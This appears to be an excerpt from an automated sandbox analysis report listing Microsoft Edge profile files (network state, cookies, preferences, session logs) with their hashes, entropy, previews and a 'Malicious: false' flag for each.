SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9e16c2bf-a646-46ad-852f-1b2507e34a37.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF33356.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF43de0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF30c07.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF31b59.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF33356.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	5.066925901213615
Encrypted:	false
SSDEEP:	96:sVbqllJ1ub9pP9TYuXnQ1qjVYYsY5Th6Cp9/x+6M8muecmAeCke4zvr/H2X6gE5F:sVbGJq9TPXQ0jVYYsYPpj+FVAW/HFBf
MD5:	62E05D615BEEFEF5F11A8911B63F3694
SHA1:	BA6FEF034D80DFF1DA624BD1A62BD76DF50464A9
SHA-256:	68933FA8D82982D659AEDF2013640BA3F01CE32BB187504009F522AD806EB05D
SHA-512:	E8C65FC99234D32CEC74FC069F698DF6CA8075358AE901AE1FD47175354A70B3FC85C410BA78B1F99476A1775B6627A6D7E487EB905ED0C2353B61E72FD99A2E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13369625309732084","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF38bc6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	5.066925901213615
Encrypted:	false
SSDEEP:	96:sVbqllJ1ub9pP9TYuXnQ1qjVYYsY5Th6Cp9/x+6M8muecmAeCke4zvr/H2X6gE5F:sVbGJq9TPXQ0jVYYsYPpj+FVAW/HFBf
MD5:	62E05D615BEEFEF5F11A8911B63F3694
SHA1:	BA6FEF034D80DFF1DA624BD1A62BD76DF50464A9
SHA-256:	68933FA8D82982D659AEDF2013640BA3F01CE32BB187504009F522AD806EB05D
SHA-512:	E8C65FC99234D32CEC74FC069F698DF6CA8075358AE901AE1FD47175354A70B3FC85C410BA78B1F99476A1775B6627A6D7E487EB905ED0C2353B61E72FD99A2E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13369625309732084","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF418a5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	5.066925901213615
Encrypted:	false
SSDEEP:	96:sVbqllJ1ub9pP9TYuXnQ1qjVYYsY5Th6Cp9/x+6M8muecmAeCke4zvr/H2X6gE5F:sVbGJq9TPXQ0jVYYsYPpj+FVAW/HFBf
MD5:	62E05D615BEEFEF5F11A8911B63F3694
SHA1:	BA6FEF034D80DFF1DA624BD1A62BD76DF50464A9
SHA-256:	68933FA8D82982D659AEDF2013640BA3F01CE32BB187504009F522AD806EB05D
SHA-512:	E8C65FC99234D32CEC74FC069F698DF6CA8075358AE901AE1FD47175354A70B3FC85C410BA78B1F99476A1775B6627A6D7E487EB905ED0C2353B61E72FD99A2E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13369625309732084","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.5579877770613715
Encrypted:	false
SSDEEP:	768:UXLhg67pLGLv1AWPKoftU8F1+UoAYDCx9Tuqh0VfUC9xbog/OVGTqcrrwqEpCtuN:UXLhgScv1AWPKoftUu1jaL+cgUte
MD5:	1218814646DDB511AB7F80D482726C33
SHA1:	85158C8D5A9CECE597C59F6174C047BCBB3C3F3A
SHA-256:	1EAFD89511C3A1319E0C0928CAF669D0817FAE1D205ADCE5AC8C139EE9D739BF
SHA-512:	6583115B025AE40CCA194AFE804CF155142D583DCA6105F4638145D45A8619427DDF058A917A2E9793CEA1DD0633F992DB4E1F8EA49D68AFBC3BBA956602DA28
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369625309610795","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369625309610795","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF36c96.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.5579877770613715
Encrypted:	false
SSDEEP:	768:UXLhg67pLGLv1AWPKoftU8F1+UoAYDCx9Tuqh0VfUC9xbog/OVGTqcrrwqEpCtuN:UXLhgScv1AWPKoftUu1jaL+cgUte
MD5:	1218814646DDB511AB7F80D482726C33
SHA1:	85158C8D5A9CECE597C59F6174C047BCBB3C3F3A
SHA-256:	1EAFD89511C3A1319E0C0928CAF669D0817FAE1D205ADCE5AC8C139EE9D739BF
SHA-512:	6583115B025AE40CCA194AFE804CF155142D583DCA6105F4638145D45A8619427DDF058A917A2E9793CEA1DD0633F992DB4E1F8EA49D68AFBC3BBA956602DA28
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369625309610795","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369625309610795","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	2.7061121767675385
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljljljljljljljl:S85aEFljljljljljljljljljl
MD5:	8A30A1FDD0459D9EA8B1E78A8E636856
SHA1:	9D7225E97F9CFCFB225CFBFD0B0BBA21D4EFDD20
SHA-256:	88FE1D31608930F2738D102D45C75DC77ACDF01A1B69BFB7E7C0281575B75E33
SHA-512:	B529BCE870CD8165BF82F3EBF94F07552467BD0993B9D35145182E54E26FB2AE8E7BB167D88267B632757E2146F27DFDDF8867DB0C66E5DCC306DB12EC6B7BEF
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.177172447381494
Encrypted:	false
SSDEEP:	6:udkS31L+q2Pwkn23oH+TcwtrQMxIFUt8jdkzJdNj1Zmw+jdkOWK1LVkwOwkn23oM:RSIvYfYebCFUt8GzT11/+GOz5JfYebtJ
MD5:	C0FA16259DF3C6E2C9A6ECD514CAAAF2
SHA1:	4DA098FA0CE4A289151D7F2522EBE8A7F3BB4FE6
SHA-256:	FF976A694B223152FC12303464865336D10EAF814F24B0CD5B7FFB63F4A97E31
SHA-512:	A7619DB67FBCBE210BE1077A4B68A0CDB95B2592CDB101553D9572BF14008C3CEB209F58EF7A6036B482828049F46A19CA2479396E9DDA14A17F4550BA3B845F
Malicious:	false
Preview:	2024/08/31-20:48:45.575 23e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/08/31-20:48:45.576 23e8 Recovering log #3.2024/08/31-20:48:45.579 23e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.177172447381494
Encrypted:	false
SSDEEP:	6:udkS31L+q2Pwkn23oH+TcwtrQMxIFUt8jdkzJdNj1Zmw+jdkOWK1LVkwOwkn23oM:RSIvYfYebCFUt8GzT11/+GOz5JfYebtJ
MD5:	C0FA16259DF3C6E2C9A6ECD514CAAAF2
SHA1:	4DA098FA0CE4A289151D7F2522EBE8A7F3BB4FE6
SHA-256:	FF976A694B223152FC12303464865336D10EAF814F24B0CD5B7FFB63F4A97E31
SHA-512:	A7619DB67FBCBE210BE1077A4B68A0CDB95B2592CDB101553D9572BF14008C3CEB209F58EF7A6036B482828049F46A19CA2479396E9DDA14A17F4550BA3B845F
Malicious:	false
Preview:	2024/08/31-20:48:45.575 23e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/08/31-20:48:45.576 23e8 Recovering log #3.2024/08/31-20:48:45.579 23e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.167897199093253
Encrypted:	false
SSDEEP:	6:ud+RwL+q2Pwkn23oH+Tcwt7Uh2ghZIFUt8jd71Zmw+jdtLVkwOwkn23oH+Tcwt7w:RmyvYfYebIhHh2FUt8j/+/R5JfYebIh9
MD5:	975431913D9C8165135D758C74D33318
SHA1:	EEFD623E5BC0437730F4B162CFFACCF1F2A0D289
SHA-256:	CBBB69DC3C21113C68B3FB864C0306B7FD8E1011615FACBE7A620315883C3891
SHA-512:	62F06649F24795BB311EA6E848C6479AEEE7E44FC89BC9E0E9290F71737C613428A305CD9ACDCF3E5E39CA356C6768DD7CF53573EB3F25CE507B6623BE5E6D9B
Malicious:	false
Preview:	2024/08/31-20:48:29.679 2418 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/08/31-20:48:29.680 2418 Recovering log #3.2024/08/31-20:48:29.680 2418 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.167897199093253
Encrypted:	false
SSDEEP:	6:ud+RwL+q2Pwkn23oH+Tcwt7Uh2ghZIFUt8jd71Zmw+jdtLVkwOwkn23oH+Tcwt7w:RmyvYfYebIhHh2FUt8j/+/R5JfYebIh9
MD5:	975431913D9C8165135D758C74D33318
SHA1:	EEFD623E5BC0437730F4B162CFFACCF1F2A0D289
SHA-256:	CBBB69DC3C21113C68B3FB864C0306B7FD8E1011615FACBE7A620315883C3891
SHA-512:	62F06649F24795BB311EA6E848C6479AEEE7E44FC89BC9E0E9290F71737C613428A305CD9ACDCF3E5E39CA356C6768DD7CF53573EB3F25CE507B6623BE5E6D9B
Malicious:	false
Preview:	2024/08/31-20:48:29.679 2418 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/08/31-20:48:29.680 2418 Recovering log #3.2024/08/31-20:48:29.680 2418 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

